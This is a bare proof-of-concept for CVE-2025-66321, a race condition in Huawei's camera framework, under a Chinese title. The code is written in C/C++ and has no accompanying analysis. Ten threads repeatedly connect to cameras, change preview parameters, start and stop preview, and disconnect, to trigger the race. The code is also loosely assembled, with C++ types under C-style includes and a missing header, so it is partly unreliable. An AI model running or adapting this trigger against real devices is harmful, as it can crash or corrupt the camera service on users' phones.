CVE-2025-66321: 华为相机框架多线程竞态条件漏洞

// CVE-2025-66321 PoC - Race Condition in Camera Framework // This PoC demonstrates triggering race condition in Huawei camera framework // Requires high privileges and local access #include <stdio.h> #include <pthread.h> #include <camera/Camera.h> #include <camera/CameraParameters.h> #define NUM_THREADS 10 #define ITERATIONS 100 void* camera_race_thread(void* arg) { int thread_id = *(int*)arg; // Rapidly open/close camera sessions to trigger race condition for (int i = 0; i < ITERATIONS; i++) { sp<Camera> camera = Camera::connect(thread_id % 2); // Alternate cameras if (camera != NULL) { // Trigger preview callbacks rapidly CameraParameters params = camera->getParameters(); params.setPreviewFormat(CameraParameters::PIXEL_FORMAT_YUV420SP); camera->setParameters(params); camera->startPreview(); // Force context switch to increase race condition probability usleep(1); camera->stopPreview(); camera->disconnect(); } // Yield to other threads sched_yield(); } return NULL; } int main() { pthread_t threads[NUM_THREADS]; int thread_ids[NUM_THREADS]; printf("CVE-2025-66321 PoC - Starting race condition trigger\n"); // Create multiple threads to maximize race condition probability for (int i = 0; i < NUM_THREADS; i++) { thread_ids[i] = i; pthread_create(&threads[i], NULL, camera_race_thread, &thread_ids[i]); } // Wait for all threads to complete for (int i = 0; i < NUM_THREADS; i++) { pthread_join(threads[i], NULL); } printf("PoC execution completed\n"); return 0; }